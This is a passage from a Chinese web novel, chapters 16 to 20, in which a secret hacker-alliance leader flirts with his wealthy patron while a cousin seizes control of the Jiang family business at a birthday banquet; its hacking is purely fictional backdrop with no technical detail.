可这被暖意包裹的静谧,丝丝缕缕的困意又缠绕上来,眼皮渐渐沉重。 就在意识即将滑入朦胧之际,他清晰地感觉到背后紧贴的胸膛微微起伏的节奏变了。 顾鸣鹤醒了。 箍在腰间的手臂无声地收紧了几分,将他更深地嵌入那个怀抱。 温热的鼻息沉沉地拂过他后颈敏感的肌肤,激起一阵细微的战栗。 “嘶........” 腰背深处积蓄的酸胀感被这收紧的动作骤然唤醒。 时清徵微微动了动身体,试图悄无声息地滑出去。 然而刚挪动半寸,那只横亘在腰间的手臂猛地一收,带着不容置疑的力道,瞬间将他捞回原位,甚至比之前贴得更紧。 后背重重撞上那片坚实的温热。 “醒了?” 顾鸣鹤低哑的嗓音贴着他耳后响起,带着刚睡醒的慵懒,有种磨人的性感。 “陪我再睡会儿。” 那声音低沉含混,与其说是命令,不如说是带着睡意的诱哄,温热的气息喷在耳廓,激起一片微麻。 那就.......再睡会儿吧。 原本就没打算起的时清徵心安理得地重新合上眼睫,放任自己睡去。 时间在相拥的暖意中无声流淌。 江家老宅今日张灯结彩,红绸从雕花门楣上垂下,格外喜庆。 江老爷子七十大寿,有人还专门送来了牌匾。 金色在初秋的薄阳下泛着过于用力的金辉,过分豪气。 与盘踞京城的顾家、靳家这等真正的顶级豪门相比,江家不过是棵根系尚浅的乔木。 但老树枯枝也自有几分余荫。 因此宋家来了三房的长孙,许家派了刚留学归来的幺女,礼物不轻不重,笑容不远不近。 恰到好处地维持着上流圈层心照不宣的薄面,又不至于丢了体面。 程家的黑色迈巴赫停在老宅外。 当家人程俊安扶着夫人江晓蕾下车时,眉宇间带着一丝不易察觉的紧绷。 程家与江家联姻多年,生意往来盘根错节,早已是一根绳上的蚂蚱。 江家尚存几分体面,程家却是实实在在地没落了。 若他再拿不出像样的功绩,恐怕真要被公司那群虎视眈眈的董事拉下台。 江晓蕾看着丈夫伸过来的手,蹙着眉搭了上去。 这些年,程俊安在外面的所作所为,她心里一清二楚,不过是为了维持表面的体面,不曾点破罢了。 只要程家最终是她儿子的,程俊安在外有多少个私生子,她都懒得理会。 顾家的车是午后两点才到的。 车门推开,下来的并非如今掌权的顾鸣鹤,而是其二叔的儿子顾鸣云。 来的人并不少,毕竟想要巴结江家的人很多。 江老爷子已经不管事了,所以如今江氏集团是江老爷子的二儿子江晓崖做主。 谈起这个,众人就不由得想起了江老爷子的大儿子江晓川。 当年那可是一个响当当的商业新贵,眼光毒辣。 并且让靳家老爷子把自己的小女儿许配给他。 那时的江家可以说风头无两,甚至都快要追上靳家这种顶尖豪门了。 可惜世事无常啊。 众人纷纷摇头叹息。 “话又说回来,江晓川和靳家那位小姐是不是有一个女儿?” “好像叫江南月。” 其中有一个人脸色变了变。 “这个江南月我知道,不是个简单的。” 听此一言,众人立即来了兴致。 “何出此言?” “就几年前江家那事,据说那江家大小姐闹了江家一通,最后也不知怎么的,江老爷子给了她百分之二十的股份。” 众人纷纷倒吸了一口凉气。 百分之二十,那可不是小数目了。 江家老爷子还真舍得。 “看来江家老爷子对这个孙女还是挺好的。” 不明真相的人感慨道。 得知真相的人呵呵一笑,也不再多言。 毕竟这对江家来说算是一个丑闻。 另一边,正厅里觥筹交错,几家的小辈们依次上前给江老爷子祝寿。 “江爷爷,祝您福如东海,寿比南山!”宋家的小少爷第一个上前,声音清亮。 “祝江爷爷松鹤延年,笑口常开。”许家的小姐眉眼带笑,清脆地说道。 老爷子一身绛红色唐装端坐在太师椅上,银白的头发梳得一丝不苟。 听着这些吉祥话,他笑得眼睛眯成两条缝,脸上的皱纹都舒展开来,连声说着:“好,好。” 最后上前的是顾鸣云,他嘴角挂着得体的微笑:“江爷爷,祝您日月昌明,春秋不老。” 老爷子笑得合不拢嘴,连连点头:“好好好,都是好孩子。” 他环视着眼前这些朝气蓬勃的年轻人,眼中闪过感慨。 只是那笑容深处,隐约透着几分力不从心的疲惫。 与此同时,靳家的车缓缓停在了江家老宅外。 靳云封不耐烦地扯了扯额前的碎发,抬腿就要往里走。 说起来,靳老爷子的小女儿当年嫁给了江晓川,按辈分江老爷子还是他姑爷爷。 但自从江晓川出车祸后,两家早就断了往来。 这次要不是碍着面子,靳家根本不会派人来,随便打发了他这个闲人就算了事。 “啧,麻烦。”靳云封烦躁地踢飞脚边的一颗石子,连贺礼都懒得准备。 要不是家里硬塞了个礼盒给他,他真想空着手来。 就在这时,一阵低沉的引擎声由远及近。 靳云封下意识抬头,只见一排宾利整齐划一地停在老宅门前,锃亮的车身在阳光下泛着光。 每辆车上都下来三个保镖,身着黑色西装,立在一旁,场面肃穆而庄重。 “这是.......“靳云封不自觉地停下脚步,眯起眼睛打量着这突如其来的阵仗。 谁这么大排场?他在心里暗自嘀咕。 第16章 WWZ联盟 江南月窝在车里,二郎腿翘得那叫一个嘚瑟,手指在屏幕上噼里啪啦一顿输出。 【性感母蟑螂在线耍流氓:不来是吧?今天姐就让你见识见识什么叫社交天花板。墨镜jpg.】 【性感母蟑螂在线耍流氓:姐装起逼来连自己都害怕】 时清徵正对着电脑破解密码,手机屏幕忽然亮了。 瞥了眼消息,不出意料,果然是江南月发来的。 【你洗了蒜了:?】 江南月秒回。 【性感母蟑螂在线耍流氓:不要着急,这就给你现场直播人类高质量社交教学。】 下一秒视频邀请弹出来,时清徵反手就挂断,动作利落又熟悉。 【性感母蟑螂在线耍流氓:???】 【你洗了蒜了:忙着拯救世界,勿cue】 【性感母蟑螂在线耍流氓:呵,男人。jpg.】 紧接着又蹦出一条: 【性感母蟑螂在线耍流氓:对了,昨天查江家发现个好东西。】 【性感母蟑螂在线耍流氓:图片.】 图片里是个古董瓶子,上面刻着花里胡哨的符文,丑得像是抽象派大师喝醉后的杰作。 时清徵眯起眼睛。 【你洗了蒜了:这丑东西有点眼熟】 江南月秒回。 【性感母蟑螂在线耍流氓:能不熟吗?赤洲特产,纯手工制作,童叟无欺】 时清徵表情瞬间凝固。 他想起来了,这是赤洲一个传统的符号,也是那些当地黑帮最爱用的标志。 据说刻在物品上能保平安,可能是坏事做多了也怕遭雷劈。 但赤洲和A国隔着一个大洋,文化差异不说毫不相关吧,也算得上差个十万八千里了。 这丑不拉几的符文出现在江家,违和感爆表。 【你洗了蒜了:江家和赤洲.......??】 【性感母蟑螂在线耍流氓:是的他们有一腿。狗头jpg.】 【你洗了蒜了:世界是一个村。】 【性感母蟑螂在线耍流氓:我也不清楚,说不定是那老头网购的装饰品。】 时清徵盯着照片上那个丑得别致的瓶子,手指在手机屏幕上轻轻敲击着,陷入沉思。 片刻后,他缓缓打出一行字: 【你洗了蒜了:我有一个大胆的想法jpg.】 发完这条消息,他犹豫了一下。 毕竟要查的是江南月本家,这操作多少有点在雷区蹦迪的意思。 但还没等他撤回,对方的消息就噼里啪啦地轰炸过来。 【性感母蟑螂在线耍流氓:巧了不是!姐正有此意!】 【性感母蟑螂在线耍流氓:我特么早就想把这群老古董的假发套掀了!】 【性感母蟑螂在线耍流氓:你是不知道,就这群2B天天在A国给我找事,要不是我没空收拾他们,早就把那群木匠绑火箭上了。我看江家股价都快被他们奶崩了。】 【性感母蟑螂在线耍流氓:要不是这群猪队友拖后腿,老娘早带着江家上市火星了。】 【性感母蟑螂在线耍流氓:所以老子就大发善心救他们一把。】 【性感母蟑螂在线耍流氓:带飞全场jpg.】 时清徵看着这一连串暴躁输出,默默把打好的“要不还是算了”删掉,缓缓打出一个问号。 【你洗了蒜了:........?】 青鸟对自己家下手这么狠的吗? 江南月似乎完全没get到时清徵的迟疑,继续激情输出: 【性感母蟑螂在线耍流氓:等着!今天就让这群老帮菜见识见识,什么叫商界大佬】 【性感母蟑螂在线耍流氓:今天不把他们按在桌底,我名字倒过来写。】 时清徵看着手机,缓缓露出一个“虽然不明白但好像很厉害”的表情。 本着看热闹不嫌事大的原则,他果断选择火上浇油。 【你洗了蒜了:点赞点赞jpg.】 【你洗了蒜了:加油,等你凯旋jpg.】 【你洗了蒜了:需要应援棒吗?我让外卖送两个过去?】 江南月很快回复: 【性感母蟑螂在线耍流氓:少贫。】 【性感母蟑螂在线耍流氓:说正事,你那边的渠道查查这个丑瓶子,我现在要去大杀四方了。】 【性感母蟑螂在线耍流氓:姐的装逼现场是你的一辈子。】 时清徵看着消息,眉梢一扬。 【你洗了蒜了:太有实力了。】 发完这条消息,时清徵随手将手机扔在桌上,转身调出电脑的另一个加密终端。 屏幕瞬间切换至另一个界面。 他修长的手指在键盘上快速敲击: 【万岁:优先级A级任务:查证A国京城江家与幽灵组织的潜在关联。】 【万岁:图片】 图片上是江南月刚才发过来的赤洲古董瓶。 三秒后,回复弹出: 【千千:指令确认。】 【千千:大佬,您终于上线了!】 【千千:疯狂摇尾巴gif.】 时清徵正要关闭窗口,又一条消息闪烁起来: 【千千:前天有不明势力对主服务器发动攻击,用的是新型量子注入技术.......】 他指尖一顿,眸色骤然转冷: 【万岁:战损?】 对话框立刻疯狂闪烁: 【千千:防火墙成功拦截,但对方突破了3层蜜罐系统。】 【千千:最后是靠您留下的反制程序才逼退的QAQ】 【万岁:攻击源找到了吗?】 【千千:还在努力......】 时清徵盯着屏幕,目光幽深。 三年前他为了扩展情报网,单枪匹马攻破WWZ联盟核心数据库。 那时他用的就是类似的量子穿刺技术。现在,居然有人敢用他的招牌手法来挑衅? 【万岁:启动诱捕系统。】 【万岁:再遇到类似攻击,直接触发神经毒剂协议,或者来找我。】 【万岁:另外,继续追查来源。】 对话框安静了两秒,突然炸出一连串消息: 【千千:是!!!】 【千千:老大威武!!!】 沉默几秒,千千的消息再次发来。 【千千:老大,这次攻击会不会是冲你来的?】 【万岁:不重要,他们摸不进内核。】 WWZ联盟集中了国际上最顶尖的一批黑客势力,但只有内部少数核心人物知道这个联盟的首席是万岁。 千千就是知情人之一,一般联盟的消息都是他与时清徵对接。 第17章 植物大战僵尸 【千千:收到。】 【千千:老大你都消失三个月零七天又四小时了!暴风哭泣gif.】 时清徵盯着屏幕上那个满地打滚,捶胸顿足,眼泪汇成汪洋大海的小人表情包,额角跳了跳。 这夸张的动画效果配上“呜呜呜”的音效文字,怨气简直要冲出屏幕了。 不得不说,这些表情包增添了不少活人气息,还把黑客的逼格拉低了不少。 编写这代码的程序员一定是个活人。 他面无表情地敲击键盘: 【万岁:查你的资料。】 对方立刻秒回: 【千千:老大你好冷漠呜呜呜。心碎一地gpg.】 【千千:委屈巴巴jpg.】 时清徵看着不断弹出的卖惨表情包,突然很想顺着网线把千千的零食柜清空。 他深吸一口气,手指重重敲下: 【万岁:再发表情包,下次任务让你去给M国CIA服务器种病毒】 聊天框瞬间清净了。 算了,他怕被CIA线下真实。 电脑另一端,一个金发少年窝在电竞椅里,气鼓鼓地咬碎了嘴里的棒棒糖。 “哼,老大小气鬼。”他用带着M国话嘟囔着,湛蓝的眼睛在屏幕冷光下闪烁着光。 随后他眼珠转了转,飞快打下一行字。 【千千:哭唧唧。】 “不发图总行了吧?” 少年得意地晃了晃脑袋,耳骨上钉着一排耳钉,闪了闪。 他随手抓起背包,将最后几包辣条塞了进去。 最近M国街头自由过了火。 连他这种黑客都觉得该换个地方避避风头。 自从他前两天看见一个劫匪蹲在警车车盖上架AK,然后一个烟雾弹的烟顺着他家窗户挤进来后,他就知道自己该离开了。 他不想枪林弹雨每一天,他就是一个弱小无助的宅男罢了。 “先去R国吃寿司,还是去H国追爱豆呢.......” 他一边嘀咕着,一边顺手黑进了售票系统,给自己订了张演唱会门票。 时清徵坐在电脑前,修长的手指悬在键盘上方。 屏幕的蓝光映在他冷白的皮肤上,眉骨投下的阴影遮住了眼底的思绪。 他微微偏头,黑发垂落几缕,衬得侧脸线条更加流畅。 一点头绪也没有。 他忍不住往椅背上靠了靠,双手交叠放在脑后,仰头看着天花板。 第二层加密比预想的复杂。 他轻轻“啧”了一声,指尖在桌面上漫不经心地敲着,节奏缓慢却精准。 算算时间,此时已经进入秋天。但外面的天还是闷热地厉害。 似乎快要下雨了,乌云沉沉,天色也暗了。 随即而来的是几声惊雷,紫白色的闪电划破黑云,像是蜿蜒的藤蔓,缠绕上了天空。 其实破译有时候真的挺需要灵感的,可能几个月没破译出来的密码,做个梦就知道怎么破译了。 紧接着,外面是大雨倾盆的声音。 不是那种淅淅沥沥的柔和,而是铺天盖地,汹涌而来。 砸在窗上,成了一道水帘。 时清徵闭上的眼睛忽然睁开。 目光在电脑上的某处代码上停留片刻。 随后嘴边扬起几不可见的弧度,抬手敲下一行指令。 随后又敲下第二行。 速度越来越快,几乎带出残影。 当最后一个代码敲下,屏幕闪出破解成功的提示。 时清徵面上露出了一丝轻松,打算继续破译最后一层密码。 但就在此时,他感觉到有人朝这边过来。 时清徵神色未变,左手已经切出程序,右手点开游戏。 画面切换的瞬间,他整个人气质骤变,肩膀松懈下来,眼神也懒散了几分。 他拿起搁置在一旁的鼠标,点了几下。 鼠标在桌面上随意滑动,发出轻微的摩擦声。 只有搭在键盘上的左手食指,还在无意识地轻点。 一下。 两下。 像是无声的倒计时。 门被推开了。 时清徵指尖一顿,连头都没抬。 身后传来的脚步声太熟悉。 那脚步不紧不慢,带着与生俱来的从容。 除了顾鸣鹤,没人能把走路都走出这种居高临下的气场。 “这雨下得也太突然了。”李管家的声音由远及近,语气里带着老管家特有的操心。 “应该让小王把车直接开过来的,您看这西装都沾了水。” 时清徵嘴角微不可察地扯了扯。 有人被雨淋了呢。 顾鸣鹤以前很少来半山庄园住,嫌这里离公司太远。 他常市中心的那栋公寓,离公司近,通勤方便。 毕竟总裁也是会堵车的。 但如今,顾鸣鹤却更喜欢往在半山庄园。 窗外雨幕如织,即便撑着伞,从车库到主宅这段路也难免被雨水打湿。 时清徵懒洋洋的掀开眼皮,正好看见顾鸣鹤正伸手解着西装扣子。 外套的肩头泅开了一片水渍。 时清徵托着下巴饶有兴趣的看顾鸣鹤脱下西装外套来。 顾鸣鹤一边朝着时清徵的方向走来,一边伸手解开袖扣。 随后慢条斯理的将衬衫袖口一点一点往上折,露出来一截小臂。 “在做什么?” 时清徵的目光若有若无的落到顾鸣鹤白色衬衫的胸前,忽然想到假如这里也被水...... 他到底在想什么? 时清徵摇摇脑袋,把里面乱七八糟的想法摇出去。 “在......玩游戏。” 他的目光又落回到电脑屏幕上。 就这愣神的功夫,他的豌豆射手被吃掉了。 时清徵被迫将注意力全都转移到电脑游戏上。 顺嘴问了句:“外面雨很大?” 顾鸣鹤淡淡点头,站到时清徵椅子的左后侧。 但他在看清楚电脑游戏的刹那,愣神了几秒。 植物大战僵尸? 他错愕的目光在时清徵的后脑勺流转。 顾鸣鹤惊讶的并不是时清徵玩这款游戏。 而是时清徵他快输了。 顾鸣鹤忍不住皱眉,随后就想开口提醒。 谁料时清徵反应很快,直接回头做了个噤声的手势。 然后专心致志打对抗去了。 顾鸣鹤:....... 果不其然,时清徵输掉了。 时清徵“嘶”了一声。 不应该啊。 他怎么会输呢?这些僵尸走的也太快了,游戏策划有没有考虑到这一点是不合理的呢? 时清徵忍不住又开了一局。 艹,他还不信了! 第18章 您可以退休了 看着时清徵一副严阵以待的模样,顾鸣鹤的唇弯了弯。 “你还挺有童趣。” 顾鸣鹤语气中带着玩味。 时清徵拖动豌豆射手,眼睛眨都不眨:“偶尔放松一下。” 顾鸣鹤看着时清徵只种豌豆射手的操作,忍不住弯腰上前附在时清徵耳边。 “不是这样玩的,你应该先种太阳花。” 时清徵:“........?” 顾鸣鹤俯身,一只手撑在桌沿,另一只手越过时清徵的肩膀,按在鼠标上。 这个姿势几乎将时清徵圈在怀里,温热的呼吸拂过他的耳际。 顾鸣鹤的声音低低地响起,手指在鼠标上轻点:“放这里。” 时清徵僵了一瞬,随即轻笑出声:“先生还研究这个?” 顾鸣鹤:“以前,偶尔也会放松一下。” 一时间房间内回响着诡异的音效。 紧接着又是噔噔噔胜利的音效。 时清徵不满的回头:“你别说了。” 他觉得自己又行了。 顾鸣鹤往旁边捞了一把椅子,扯到时清徵旁边坐下。 “好。” 言罢,倒也真没有在说话,就那么静静的看着时清徵乱种,最后倒也真赢了。 但是话又说回来,这么简单,想不赢也难吧。 时清徵偏头得意的看着他。 顾鸣鹤失笑,配合着颔首道:“厉害。” 时清徵却是一皱眉,总感觉这人在讽刺自己。 毕竟游戏规则毕竟简单,上手并不难,时清徵很快就得心应手了。 但他的植物却还是种的乱七八糟,让有些强迫症的顾鸣鹤都忍不住说道: “你就不能种成一排吗?” 东边一株,西边一株。 时清徵则是假装没有听见,继续我行我素。 顾鸣鹤的眸色暗了暗,指尖微微收紧。 眼前这个窝在椅子里打游戏的时清徵倒没有先前的那份乖巧了。 更让他不爽的是,对方现在连个眼神都懒得给他。 修长的手指突然压住时清徵握鼠标的手。 “先下去吃饭。”顾鸣鹤的声音里带着不容置疑。 时清徵下意识要反驳:“我不......” 却在抬头对上顾鸣鹤视线的瞬间,把“饿”字咽了回去。 他忽然想到对方如今是自己的金主。 时清徵撇撇嘴,合上电脑。 他慢吞吞地站起身,故意拖沓着脚步。却在经过顾鸣鹤身边时,突然被攥住手腕。 顾鸣鹤的声音擦过时清徵的耳际,带着几分危险的意味:“最近是不是太放纵你了?这么不听话。” 时清徵闻言,眉头微挑,露出一副困惑的表情。 他心想顾鸣鹤是不是对“不听话”这个词有什么误解。 自己现在明明就是世界上最安分守己的人了。 但争辩从来不是他的风格。 时清徵只是轻哼一声,嘴角勾起一抹若有似无的弧度,眼神里写满了“你开心就好”的敷衍。 顾鸣鹤的手指顺着他的手腕滑下,不轻不重地捏了捏他的掌心。 指尖的温度透过皮肤传来。 时清徵懒洋洋地开口,故意拖长了音调:“怎么,先生这是要管教我了?” 他的尾音微微上扬,眼神却是温顺的。 明明不是挑衅,但又让人生出几分异样的心思来。 窗外的雨声渐密,室内的空气却莫名变得粘稠起来。 顾鸣鹤没有立即回答,只是用拇指在他腕骨上轻轻摩挲了一下,那触感像是某种无言的警告。 “走吧,去吃饭。” 这边一派祥和,风平浪静,而江家老宅那边则是惊涛骇浪。 只见原木红桌上被一柄菜刀深深劈入,刀刃没进去了一半,可见“罪魁祸首”用力之大。 在吊灯下,菜刀的刀身发着寒光。 围观的众人不由得咽了一口唾沫,周遭一片的寂静。 江南月往太师椅里一坐,姿态随意。 这原本应该是江老爷子的位置,如今却被她给霸占了。 而原本应该坐在这的江老爷子正站在不远处,左右两侧分别站着他的儿子儿媳。 也就是江南月的三叔和三婶。 他们二人缠住江老爷子,否则江老爷子怕是都站不稳。 “你......不孝啊,不孝!” 江老爷子气的浑身发抖,感觉下一秒就要晕厥过去了。 江南月留着利落的短发,上身是玫红色皮衣,显得整个人锋芒毕露。 她伸手随意勾起一个青花瓷茶盏,里面盛着茶汤。 江南月的二叔此时站在不远处,不由得握紧了拳头。 她怎么又回来了?! 一看到这人,他的手指就隐隐发痛。 茶汤被江南月随意的晃了晃,里面倒映出江南月讥诮的表情。 “哟,老爷子这日子过得不错嘛。” 茶盏被她随手一推,滑了出去,最后歪歪斜斜的停到了桌沿边,摇摇欲坠。 江南月微微抬眼,望向周围伸着脑袋看热闹的众人,眼神不善。 众人:........?!! 心中同时升起了一丝不好的预感。 果然下一秒江南月就开口了:“还杵在这里看戏呢?” 众人面面相觑,他们该走吗? 江南月危险的眯起眼睛,声音抬高:“关你们什么事?” 话音已落,站在角落的黑衣保镖齐刷刷上前一步。 众人也都不是没有眼色的人,见此情景连忙先行告辞。 没过几分钟,厅堂中的众人都做鸟雀散了。 厅堂中只剩下零星几个不怕死看热闹的。 靳云封就是其中一个,他不仅没有离开,还上前了几步,想要凑近看的听的更清楚些。 眼神中还闪着八卦的光。 经过方才江南月的一番操作,他也知道了这个人的身份。 他与江南月从来也没有见过,但此时也知道这个人怕是他的表姐。 毕竟江南月的母亲是他爸爸的妹妹。 算起来他们还是亲戚呢,江南月再怎么样也不至于对她的表弟动手吧。 这么想着靳云封更是理直气壮了些。 江南月见人走的差不多了,也没有管这些留下来的人。 她望着江老爷子道:“果然是一把年纪了,连站都站不稳,还需要别人来扶。。” 江老爷子闻言立刻将自己的手抽了出来。 “四年前我已经把你父母的股份连本带利还你了,你如今来还想干什么?” 江南月嗤笑一声:“百分之二十,你这是打发叫花子呢。” “而且谁说我今天是来挑衅的?” 说着她面容和善,站起身朝着江老爷子走过去。 江南月的三叔三婶下意识就后退了半步。 江老爷子看着靠近的孙女,心中也是慌的不行。 江南月笑眯眯的,嗓音清脆地说道:“今天我来了是想告诉您老人家一个好消息。” 剩下来的众人知道这个人嘴里说的“好消息”可能是反语。 但还是忍不住屏住呼吸,竖起耳朵听。 江南月笑容灿烂:“今天您可以退休了。” 第19章 您猜我发现了什么 大厅里瞬间陷入一片死寂,连呼吸声都清晰可闻。 几秒钟后,角落里才传来窸窸窣窣的议论声: “什么意思?江老爷子不是早就退休了吗?” “你个榆木脑袋,此退休非彼退休。表面上是老爷子颐养天年,实际上......” “她是想夺权啊,这么嚣张?” 江南月听着这些窃窃私语,唇角勾起一抹玩味的笑。 “对了。” 她突然开口,声音不大却让所有人都安静下来。 “忘了做个正式的自我介绍。” “我,江南月,江氏集团最大股东,持股比例百分之五十五。” “嘶——” “换句话来说,现在江氏我说了算。” 满堂宾客同时倒吸一口凉气。 百分之五十五意味着什么? 意味着整个江氏集团已经牢牢掌握在这个年轻女人手里。 “这怎么可能?!” 一直缩在角落当鹌鹑的二叔终于忍不住跳了出来,脸上的肥肉都在颤抖。 江南月这才把目光转向他,眼神里带着猫捉老鼠般的戏谑:“二叔是有什么异议吗?” 她缓步走近:“说出来让我听听,说不定........” 她突然伸手拍了拍二叔涨红的脸,力道不重却极具侮辱性:“我心情一好,就满足你了呢?” 二叔被她拍得一个踉跄,却不敢还手,只能求助般地看向江老爷子。 而老爷子此刻的脸色,已经难看得像是吞了只活苍蝇。 “哟,二叔,你手指怎么少了两根啊?” 江南月笑得一脸促狭,故意大声问。 众人的视线都移到了江晓崖的手上。 很多人都知道江家二爷少了两根手指,但没人知道原因。 “哦,我忘了,都怪我,我那时候年少轻狂,二叔你不会怪我吧。”江南月笑容冷嗖嗖的。 江晓崖一口牙都要咬碎了,从牙缝里蹦出一句。 “不.....会。” “那就好,不然我可是会愧疚的。”江南月摇了摇头。 “二叔你一定要小心点,之前丢了两根手指,万一下次丢两只手呢?” 江晓崖的妻子姓陈,闻言她忍不了了:“你个贱人,在这装什么?你二叔的手指不就是被你给砍的吗!” 此言一出,众人倒吸一口冷气。 别吸了,再吸缺氧了。 “这......嘶。” 靳云封眼珠子要瞪下来了。 这TM的狼人啊! 有些人后悔没走了,知道这么多,这个年轻丫头不会把他们灭口吧。 不要啊,他们还有十根手指啊! 已经有人开始蹭着鞋底往外挪了。 快跑。 众人脑子里只有这一个想法。 江南月觉得自己今天心情格外明媚,也没计较陈夫人对自己的称呼。 “啧啧,忘了你了。” 她往前一步走。 陈夫人直接后退一步,半晌反应过来。 她怎么能被一个丫头片子吓住? 于是昂起头,故作镇定:“你....你想干什么?” 江南月:“我没想干什么啊,我就是感慨二婶你整容手术做的不错啊,脸上那道疤都没了。” 陈夫人脸一瞬间黑成了锅底,一把捂住自己的左脸。 “你这个........” “贱人是吧,我都听好几遍了,二婶你四年前就是这个词,四年过去了一点长进都没有啊。” 江南月遗憾道。 “哟,瞧我都忘了,您这门牙怎么也长回来了?哦,假牙是吧,跟真的一样。” 陈夫人被戳了痛处,抬手一巴掌就要甩下来。 江南月站在原地一个抬脚将人踢了出去。 陈夫人在空中划出一道优美的弧线,落到靳云封的正前方。 偷摸着发消息的靳云封被吓得手机没拿稳,一个手滑掉在地上。 手机屏幕上还显示着一个群聊界面。 【疯了:我嘞个逗,遇到狠人了。】 【疯了:你们没来江家寿宴的亏大了,好一出大戏。】 只是暂时还没有人回他。 江南月注意到这边的动静,抬脚走了过来。 靳云封:!! 我是她表弟,她不会打死我的对吧? 对吧? 在江南月开口前,靳云封抢先道:“表姐!我是靳云封,今年二十二岁,身高......” “闭嘴。” 江南月瞪了眼这个莫名其妙的人,弯腰将陈夫人拉起来。 “哟,二婶,四年不见学会飞了,有长进啊!” 陈夫人绝望地闭眼,她都想起来了。 四年前,这个死丫头把她从楼梯上一脚踹下去,自己门牙直接磕掉了两个。 陈夫人被打了才知道害怕,身子都在抖。 她浑身疼,被拉起来也站不稳,重新倒地上。 “喜欢地板?”江南月饶有兴趣地问。 陈夫人脸朝地,不说话也不动弹。 江南月也没有为难她,而是扫了一眼地上的手机,对着靳云封道。 “很喜欢八卦。” 靳云封头摇得比拨浪鼓还快:“不喜欢,我错了。” 江南月重新坐回太师椅上。 “我今天呢也不是来闹事的,主要是想和诸位交流一下感情,怎料格外不给我这个面子啊。” 她遗憾地摇头。 “说实话,今日是我父亲的祭日,不知道有几人记得呢?” 一片寂静。 江南月的目光从每个人脸上扫过。 她父亲的死不是意外,而是蓄意谋杀。 要是她四年前就知道真相,怎么会只是轻巧放过他们? 每个人神色各异,有不解的,有恍然的,也有心虚的。 “爷爷,我还可以这样叫你对吧。” 江南月慵懒地靠在太师椅上,修长的双腿交叠,指尖有一下没一下地轻敲着扶手。 “关于我父亲的忌日,爷爷有什么高见?” 江老爷子的脸色瞬间变得精彩纷呈,皱纹里都渗出了冷汗。 他拄着拐杖的手微微发抖,声音突然苍老了十岁:“月月,我知道你一直记恨这件事.......但那是意外啊!我作为父亲,难道就不心痛吗?要是川儿在天之灵看到你今天......” “打住。”江南月突然抬手,做了个切断的手势。 她眉头紧蹙:“这种鳄鱼的眼泪,还是留着给您那些老相好看吧。” 她站起身,皮靴踩在大理石地面上发出清脆的声响。 走到老爷子面前时,她突然俯身,红唇几乎贴到老人耳边: “当年父亲的车祸报告,我已经拿到了原件。” 她轻声说,声音只有两人能听见:“您猜我发现了什么?” 老爷子瞳孔骤缩,踉跄着后退两步。 江南月直起身,拍了拍手上并不存在的灰尘。她转身看向目瞪口呆的众人,突然展颜一笑: “今天的寿宴继续啊,都愣着干什么?” 她随手拔出桌上的菜刀,转了下。 “该切蛋糕了。” 第20章 真爱,嫂子? 吊灯的光落在长餐桌上,时清徵用叉子戳着盘中的芦笋。 “不合胃口?”顾鸣鹤放下酒杯,问道。 时清徵抬眼:“没有啊。” 他把芦笋送进嘴里,嚼得心不在焉。 刀叉相碰的轻响在空旷的餐厅里格外清晰。 顾鸣鹤:“这盘芦笋和你有仇?” “在想事情。”时清徵干脆放下刀叉。 “在想你的游戏?”顾鸣鹤语气带着笑。 时清徵:“.......” 他看了顾鸣鹤一眼,有点不想搭理这人了。 顾鸣鹤忽然把一块切好的牛排放进他盘里:“尝尝这个。” 深褐色的肉块浸在黑椒汁里,肌理间还渗着淡粉的汁水。 时清徵叉起牛排咬了一口:“手艺不错。” 他在盟洲那边生活过很长一段时间,西餐吃了不少。 但也不得不承认,顾鸣鹤请来的厨师水平不低。 顾鸣鹤唇角微扬:“喜欢就多吃点,你挺瘦的。” 他的目光扫过时清徵被T恤遮盖住的腰线上。 时清徵挑眉。 他瘦? “先生摸过的腹肌都是假的?”时清徵轻咬着“摸”这个字眼。 顾鸣鹤呼吸忽然一滞,拿起酒杯喝了一口。 时清徵指尖划过自己的腰侧,勾勒出弧线:“还是说先生喜欢胖的?” 顾鸣鹤的身子微微往时清徵那边靠了靠。 “我喜欢什么样的,你还不清楚?” 然后顾鸣鹤手中的叉尖带着一块牛排递到时清徵唇边,带着香气。 时清徵就着叉子咬下,齿尖故意擦过金属:“我要是真胖了,先生压不动了怎么办?” 餐刀“当啷”搁在盘上。 “这就不是你要操.......” 话音未落,时清徵的脚在桌布下蹭过他西裤内侧。 “万一先生嫌我重”,时清徵的鞋尖顺着小腿线条上移,“把我踹了可怎么办呐。” 他单手撑着下巴,歪着脑袋看顾鸣鹤:“不然我去哪里哭去,得保持好身材....取悦先生呐。” 他眨了眨眼,这种话说得坦荡自然。 顾鸣鹤单手解开领口纽扣,喉结在阴影里滚动:“你今晚就可以试试——” 李管家站在不远处,端着汤盅,眼观鼻鼻观心,假装没听懂。 早知道他就不帮忙把汤盅端过来。 顾鸣鹤放下汤匙,拿起餐巾慢条斯理地擦了擦嘴角。 窗外雨声未歇,他起身时瞥了眼窝在椅子里打游戏的时清徵:“我去书房。” 时清徵头也没抬,敷衍应着:“嗯嗯。” 眼睛就没从手机屏幕上挪开。 顾鸣鹤悠悠的叹了一口气,无奈的转身离开。 书房里,顾鸣鹤桌边的文件夹摞放地整齐。 总裁也是要加班的。 顾鸣鹤放下最后一张财务报表,舒了一口气。 静音的手机上,一条99+的群聊消息格外显眼。 名为【京城四剑客(2人活跃版)】的群聊,消息正以惊人的速度刷屏: 【疯了:卧槽卧槽卧槽!老子今晚差点交代在江家!裂开jpg.】 【花燕子:你妈喊你回家写作业了?@疯了】 【疯了:@花燕子 宋燕归你闭嘴!那女人比哥斯拉还恐怖!我手机都吓飞了!】 【花燕子:正好可以换新机,旧的放........】 【沈以煜:???哪个女人能把靳二少吓成这样?@疯了】 【疯了:我表姐,还是亲的。】 【花燕子:表姐还能有不亲的?】 【沈以煜:你哪来的表姐??】 【疯了:我小姑姑的亲闺女,常年在海外,所以我都没见过她,你们不认识也很正常。】 【沈以煜:哦......那我知道了。】 【疯了:你知道?】 【沈以煜:之前她闹了一次江家,江家二夫人脸都烂了,还是我做的手术。】 【疯了:啊,是你做的手术?听我说,你可能过几天就可以再来一台手术了。】 【沈以煜:?】 顾鸣鹤指尖一顿。 这个群常年被靳云封的表情包和宋燕归的毒舌刷屏,连最闷的沈以煜都冒泡了? 【顾鸣鹤:?】 靳云封瞬间打了鸡血: 【疯了:顾哥!!!扑通跪下jpg.】 【疯了:你是不知道,她就站在我前面三步的距离,那眼神跟要活剐了我似的!瑟瑟发抖jpg.】 此处省略八百字声泪俱下的控诉。 【疯了:嘤,急需小姐姐温暖的怀抱治愈我破碎的心灵。】 